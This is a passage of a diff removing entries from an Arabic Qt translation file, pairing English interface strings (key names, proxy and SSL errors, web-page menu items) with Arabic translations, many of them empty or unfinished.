- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QShortcut</name>
- <message>
- <location filename="../src/gui/kernel/qkeysequence.cpp" line="+373"/>
- <source>Space</source>
- <translation type="unfinished">فراغ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Esc</source>
- <translation type="unfinished">إفلات</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Tab</source>
- <translation type="unfinished">جدولة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Backtab</source>
- <translation type="unfinished">جدولة للوراء</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Backspace</source>
- <translation type="unfinished">فراغ للوراء</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Return</source>
- <translation type="unfinished">عودة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Enter</source>
- <translation type="unfinished">إدخال</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Ins</source>
- <translation type="unfinished">إدراج</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Del</source>
- <translation type="unfinished">حذف</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Pause</source>
- <translation type="unfinished">وقف</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Print</source>
- <translation type="unfinished">طباعة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>SysReq</source>
- <translation type="unfinished">نظام</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Home</source>
- <translation type="unfinished">منزل</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>End</source>
- <translation type="unfinished">نهاية</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Left</source>
- <translation type="unfinished">يسار</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Up</source>
- <translation type="unfinished">فوق</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Right</source>
- <translation type="unfinished">يمين</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Down</source>
- <translation type="unfinished">تحت</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>PgUp</source>
- <translation type="unfinished">صفحة للفوق</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>PgDown</source>
- <translation type="unfinished">صفحة للتحت</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>CapsLock</source>
- <translation type="unfinished">إقفال الحروف الكبيرة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>NumLock</source>
- <translation type="unfinished">إقفال الأعداد</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>ScrollLock</source>
- <translation type="unfinished">إقفال التّحريك</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Menu</source>
- <translation type="unfinished">قائمة الخيارات</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Help</source>
- <translation type="unfinished">مساعدة</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Back</source>
- <translation type="unfinished">رجوع</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Forward</source>
- <translation type="unfinished">للأمام</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Stop</source>
- <translation type="unfinished">توقّف</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Refresh</source>
- <translation type="unfinished">إنعاش</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Volume Down</source>
- <translation type="unfinished">تنقيص الصّوت</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Volume Mute</source>
- <translation type="unfinished">إغلاق الصّوت</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Volume Up</source>
- <translation type="unfinished">زيادة الصّوت</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Bass Boost</source>
- <translation type="unfinished">إنعاش الأصوات الجهورية</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Bass Up</source>
- <translation type="unfinished">زيادة الأصوات الجهورية</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Bass Down</source>
- <translation type="unfinished">تنقيص الأصوات الجهورية</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Treble Up</source>
- <translation type="unfinished">زيادة الأصوات الحادّة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Treble Down</source>
- <translation type="unfinished">تنقيص الأصوات الحادّة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Media Play</source>
- <translation type="unfinished">لعب الوسط</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Media Stop</source>
- <translation type="unfinished">توقيف الوسط</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Media Previous</source>
- <translation type="unfinished">الوسط الأسبق</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Media Next</source>
- <translation type="unfinished">الوسط التّالي</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Media Record</source>
- <translation type="unfinished">تسجيل الوسط</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Favorites</source>
- <translation type="unfinished">المفضّلات</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Search</source>
- <translation type="unfinished">بحث</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Standby</source>
- <translation type="unfinished">إنتظار</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Open URL</source>
- <translation type="unfinished">فتح الوصلة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch Mail</source>
- <translation type="unfinished">بدأ البريد</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch Media</source>
- <translation type="unfinished">بدأ الوسط</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (0)</source>
- <translation type="unfinished">بدأ (0)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (1)</source>
- <translation type="unfinished">بدأ (1)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (2)</source>
- <translation type="unfinished">بدأ (2)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (3)</source>
- <translation type="unfinished">بدأ (3)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (4)</source>
- <translation type="unfinished">بدأ (4)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (5)</source>
- <translation type="unfinished">بدأ (5)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (6)</source>
- <translation type="unfinished">بدأ (6)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (7)</source>
- <translation type="unfinished">بدأ (7)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (8)</source>
- <translation type="unfinished">بدأ (8)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (9)</source>
- <translation type="unfinished">بدأ (9)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (A)</source>
- <translation type="unfinished">بدأ (A)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (B)</source>
- <translation type="unfinished">بدأ (B)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (C)</source>
- <translation type="unfinished">بدأ (C)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (D)</source>
- <translation type="unfinished">بدأ (D)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (E)</source>
- <translation type="unfinished">بدأ (E)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Launch (F)</source>
- <translation type="unfinished">بدأ (F)</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Print Screen</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Page Up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Page Down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Caps Lock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Num Lock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Number Lock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Scroll Lock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Insert</source>
- <translation type="unfinished">إدراج</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Delete</source>
- <translation type="unfinished">حذف</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Escape</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>System Request</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Select</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Yes</source>
- <translation type="unfinished">نعم</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>No</source>
- <translation type="unfinished">لا</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Context1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Context2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Context3</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Context4</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Call</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Hangup</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Flip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+527"/>
- <location line="+122"/>
- <source>Ctrl</source>
- <translation type="unfinished">تحكّم</translation>
- </message>
- <message>
- <location line="-121"/>
- <location line="+125"/>
- <source>Shift</source>
- <translation type="unfinished">إزاحة</translation>
- </message>
- <message>
- <location line="-124"/>
- <location line="+122"/>
- <source>Alt</source>
- <translation type="unfinished">تناوب</translation>
- </message>
- <message>
- <location line="-121"/>
- <location line="+117"/>
- <source>Meta</source>
- <translation type="unfinished">ما فوق</translation>
- </message>
- <message>
- <location line="-25"/>
- <source>+</source>
- <translation type="unfinished">+</translation>
- </message>
- <message>
- <location line="+46"/>
- <source>F%1</source>
- <translation type="unfinished">F%1</translation>
- </message>
- <message>
- <location line="-720"/>
- <source>Home Page</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSlider</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="+151"/>
- <source>Page left</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Page up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Position</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Page right</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Page down</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSocks5SocketEngine</name>
- <message>
- <location filename="../src/network/socket/qsocks5socketengine.cpp" line="-67"/>
- <source>Connection to proxy refused</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Connection to proxy closed prematurely</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Proxy host not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Connection to proxy timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Proxy authentication failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Proxy authentication failed: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>SOCKS version 5 protocol error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>General SOCKSv5 server failure</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Connection not allowed by SOCKSv5 server</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>TTL expired</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>SOCKSv5 command not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Address type not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Unknown SOCKSv5 proxy error code 0x%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+685"/>
- <source>Network operation timed out</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSpinBox</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="-574"/>
- <source>More</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Less</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSql</name>
- <message>
- <location filename="../src/qt3support/sql/q3sqlmanager_p.cpp" line="+890"/>
- <source>Delete</source>
- <translation>حذف</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Delete this record?</source>
- <translation>حذف هذاالتّسجيل؟</translation>
- </message>
- <message>
- <location line="+1"/>
- <location line="+16"/>
- <location line="+36"/>
- <source>Yes</source>
- <translation>نعم</translation>
- </message>
- <message>
- <location line="-51"/>
- <location line="+16"/>
- <location line="+36"/>
- <source>No</source>
- <translation>لا</translation>
- </message>
- <message>
- <location line="-44"/>
- <source>Insert</source>
- <translation>إدراج</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Update</source>
- <translation>تحديث</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Save edits?</source>
- <translation>حفظ التّغييرات؟</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Cancel</source>
- <translation>إلغاء</translation>
- </message>
- <message>
- <location line="+32"/>
- <source>Confirm</source>
- <translation>تأكيد</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Cancel your edits?</source>
- <translation>إلغاء التّغييرات؟</translation>
- </message>
-</context>
-<context>
- <name>QSslSocket</name>
- <message>
- <location filename="../src/network/ssl/qsslsocket_openssl.cpp" line="+569"/>
- <source>Unable to write data: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+119"/>
- <source>Error while reading: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+96"/>
- <source>Error during SSL handshake: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-524"/>
- <source>Error creating SSL context (%1)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+25"/>
- <source>Invalid or empty cipher list (%1)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+62"/>
- <source>Error creating SSL session, %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Error creating SSL session: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-61"/>
- <source>Cannot provide a certificate with no key, %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Error loading local certificate, %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <source>Error loading private key, %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Private key does not certificate public key, %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QSystemSemaphore</name>
- <message>
- <location filename="../src/corelib/kernel/qsystemsemaphore_unix.cpp" line="-41"/>
- <location filename="../src/corelib/kernel/qsystemsemaphore_win.cpp" line="+66"/>
- <source>%1: out of resources</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-13"/>
- <location filename="../src/corelib/kernel/qsystemsemaphore_win.cpp" line="+4"/>
- <source>%1: permission denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>%1: already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>%1: does not exist</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <location filename="../src/corelib/kernel/qsystemsemaphore_win.cpp" line="+3"/>
- <source>%1: unknown error %2</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QTDSDriver</name>
- <message>
- <location filename="../src/sql/drivers/tds/qsql_tds.cpp" line="+584"/>
- <source>Unable to open connection</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Unable to use database</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QTabBar</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/complexwidgets.cpp" line="-326"/>
- <source>Scroll Left</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Scroll Right</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QTcpServer</name>
- <message>
- <location filename="../src/network/socket/qtcpserver.cpp" line="+282"/>
- <source>Operation on socket is not supported</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QTextControl</name>
- <message>
- <location filename="../src/gui/text/qtextcontrol.cpp" line="+1973"/>
- <source>&amp;Undo</source>
- <translation type="unfinished">&amp;تراجع</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>&amp;Redo</source>
- <translation type="unfinished">إ&amp;عادة</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Cu&amp;t</source>
- <translation type="unfinished">&amp;قصّ</translation>
- </message>
- <message>
- <location line="+5"/>
- <source>&amp;Copy</source>
- <translation type="unfinished">&amp;نسخ</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Copy &amp;Link Location</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>&amp;Paste</source>
- <translation type="unfinished">ت&amp;لصيق</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Delete</source>
- <translation type="unfinished">حذف</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Select All</source>
- <translation type="unfinished">انتقاء الجميع</translation>
- </message>
-</context>
-<context>
- <name>QToolButton</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/simplewidgets.cpp" line="+254"/>
- <location line="+6"/>
- <source>Press</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-4"/>
- <location line="+8"/>
- <source>Open</source>
- <translation type="unfinished">فتح</translation>
- </message>
-</context>
-<context>
- <name>QUdpSocket</name>
- <message>
- <location filename="../src/network/socket/qudpsocket.cpp" line="+169"/>
- <source>This platform does not support IPv6</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QUndoGroup</name>
- <message>
- <location filename="../src/gui/util/qundogroup.cpp" line="+386"/>
- <source>Undo</source>
- <translation type="unfinished">تراجع</translation>
- </message>
- <message>
- <location line="+28"/>
- <source>Redo</source>
- <translation type="unfinished">إعادة</translation>
- </message>
-</context>
-<context>
- <name>QUndoModel</name>
- <message>
- <location filename="../src/gui/util/qundoview.cpp" line="+101"/>
- <source>&lt;empty&gt;</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QUndoStack</name>
- <message>
- <location filename="../src/gui/util/qundostack.cpp" line="+834"/>
- <source>Undo</source>
- <translation type="unfinished">تراجع</translation>
- </message>
- <message>
- <location line="+27"/>
- <source>Redo</source>
- <translation type="unfinished">إعادة</translation>
- </message>
-</context>
-<context>
- <name>QUnicodeControlCharacterMenu</name>
- <message>
- <location filename="../src/gui/text/qtextcontrol.cpp" line="+884"/>
- <source>LRM Left-to-right mark</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>RLM Right-to-left mark</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>ZWJ Zero width joiner</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>ZWNJ Zero width non-joiner</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>ZWSP Zero width space</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>LRE Start of left-to-right embedding</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>RLE Start of right-to-left embedding</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>LRO Start of left-to-right override</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>RLO Start of right-to-left override</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>PDF Pop directional formatting</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Insert Unicode control character</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QWebFrame</name>
- <message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/WebCoreSupport/FrameLoaderClientQt.cpp" line="+692"/>
- <source>Request cancelled</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Request blocked</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Cannot show URL</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Frame load interruped by policy change</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Cannot show mimetype</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>File does not exist</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QWebPage</name>
- <message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/network/qt/QNetworkReplyHandler.cpp" line="+382"/>
- <source>Bad HTTP request</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/Localizations.cpp" line="+42"/>
- <source>Submit</source>
- <comment>default label for Submit buttons in forms on web pages</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Submit</source>
- <comment>Submit (input element) alt text for &lt;input&gt; elements with no alt, title, or value</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Reset</source>
- <comment>default label for Reset buttons in forms on web pages</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>This is a searchable index. Enter search keywords: </source>
- <comment>text that appears at the start of nearly-obsolete web pages in the form of a &apos;searchable index&apos;</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Choose File</source>
- <comment>title for file button used in HTML forms</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>No file selected</source>
- <comment>text to display in file button used in HTML forms when no file is selected</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Open in New Window</source>
- <comment>Open in New Window context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Save Link...</source>
- <comment>Download Linked File context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Copy Link</source>
- <comment>Copy Link context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Open Image</source>
- <comment>Open Image in New Window context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Save Image</source>
- <comment>Download Image context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Copy Image</source>
- <comment>Copy Link context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Open Frame</source>
- <comment>Open Frame in New Window context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Copy</source>
- <comment>Copy context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Go Back</source>
- <comment>Back context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Go Forward</source>
- <comment>Forward context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Stop</source>
- <comment>Stop context menu item</comment>
- <translation type="unfinished">توقّف</translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Reload</source>
- <comment>Reload context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Cut</source>
- <comment>Cut context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Paste</source>
- <comment>Paste context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>No Guesses Found</source>
- <comment>No Guesses Found context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Ignore</source>
- <comment>Ignore Spelling context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Add To Dictionary</source>
- <comment>Learn Spelling context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Search The Web</source>
- <comment>Search The Web context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Look Up In Dictionary</source>
- <comment>Look Up in Dictionary context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Open Link</source>
- <comment>Open Link context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Ignore</source>
- <comment>Ignore Grammar context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Spelling</source>
- <comment>Spelling and Grammar context sub-menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Show Spelling and Grammar</source>
- <comment>menu item title</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Hide Spelling and Grammar</source>
- <comment>menu item title</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Check Spelling</source>
- <comment>Check spelling context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Check Spelling While Typing</source>
- <comment>Check spelling while typing context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Check Grammar With Spelling</source>
- <comment>Check grammar with spelling context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Fonts</source>
- <comment>Font context sub-menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Bold</source>
- <comment>Bold context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Italic</source>
- <comment>Italic context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Underline</source>
- <comment>Underline context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Outline</source>
- <comment>Outline context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Direction</source>
- <comment>Writing direction context sub-menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Text Direction</source>
- <comment>Text direction context sub-menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Default</source>
- <comment>Default writing direction context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>LTR</source>
- <comment>Left to Right context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>RTL</source>
- <comment>Right to Left context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Inspect</source>
- <comment>Inspect Element context menu item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>No recent searches</source>
- <comment>Label for only item in menu that appears when clicking on the search field image, when no searches have been performed</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Recent searches</source>
- <comment>label for first item in the menu that appears when clicking on the search field image, used as embedded menu title</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Clear recent searches</source>
- <comment>menu item in Recent Searches menu that empties menu&apos;s contents</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+75"/>
- <source>Unknown</source>
- <comment>Unknown filesize FTP directory listing item</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>%1 (%2x%3 pixels)</source>
- <comment>Title string for images</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/WebCoreSupport/InspectorClientQt.cpp" line="+185"/>
- <source>Web Inspector - %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/ScrollbarQt.cpp" line="+58"/>
- <source>Scroll here</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Left edge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Top</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Right edge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Page left</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Page up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Page right</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Page down</source>
